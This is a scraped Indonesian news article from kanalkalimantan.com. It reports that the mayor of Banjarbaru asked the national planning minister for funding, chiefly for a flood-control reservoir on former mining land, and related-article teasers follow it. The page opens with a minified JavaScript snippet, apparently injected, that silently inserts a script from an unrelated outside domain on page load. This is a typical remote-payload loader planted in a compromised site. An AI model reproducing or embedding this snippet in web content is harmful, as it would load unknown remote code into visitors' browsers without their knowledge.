(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Hanya ‘bermodal’ dukungan APBD membangun wilayah dipastikan tidak akan maksimal. Untuk itu Wali Kota Banjarbaru Aditya Mufti Ariffin mengajak Kepala Bappeda Banjarbaru Kanafie dan Kepala BPKAD Banjarbaru Jainudin mencari dukungan pembangunan dari pemerintah pusat.
“Kemarin (Senin, 29/3/2021, red) saya ajak pak Kanafie dan pak Jay bersilaturahmi dengan pak Suharso Monoarfa Mentri Bappenas. Kami melakukan ekspose rencana pembangunan di Kota Banjarbaru,” ujarnya.
Diungkapkan Wali Kota Banjarbaru, ekspose yang dimaksud bertujuan meminta dukungan pendanaan pusat agar pembangunan di Banjarbaru bisa berjalan sesuai rencana.
“Ada beberapa agenda pembangunan berskala besar yang harus kami laksanakan. Utamanya berkaitan dengan penanggulangan bencana banjir yang tahun ini luar biasa,” ungkapnya.
Baca juga: Gegerkan Warga Gatot, Ini Identitas Mayat yang Ditemukan Terlilit Belukar di Rawa
Dalam ekspose itu, di hadapan Suharso Monoarfa, dijelaskan soal rencana pembangunan eks lahan tambang Galuh Cempaka untuk dijadikan embung besar. Dengan embung besar di eks lahan tambang PT Galuh Cempaka maka potensi ancaman bencana banjir di 3 kecamatan yaitu Kecamatan Cempaka, Landasan Ulin, dan Kecamatan Liang Anggang bisa diminimalisir.
“Harus dipahami di tengah pandemi seperti ini, angka indikator ekonomi merosot dan pendapatan daerah pun menurun, untuk bisa merealisasikan program pembangunan yang diantaranya pembangunan embung besar itu jelas diperlukan dukungan pusat,” katanya.
Selain melakukan ekspose rencana pembangunan embung besar di bekas lahan tembang Galuh Cempaka, Wali Kota Banjarbaru juga menyebutkan ada dua rencana besar lainnya yang sudah disampaikan.
Rencana program tersebut adalah, rencana pembangunan sport centre dan pembangunan Landasan Ulin dan Liang Anggang sebagai pintu gerbang Kalsel dan ibu kota negara yang baru. Ditambah lagi soal program pengurangan daerah kumuh di Kota Banjarbaru. (kanalkalimantan.com/rls)
Reporter : rls
Editor : kk
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.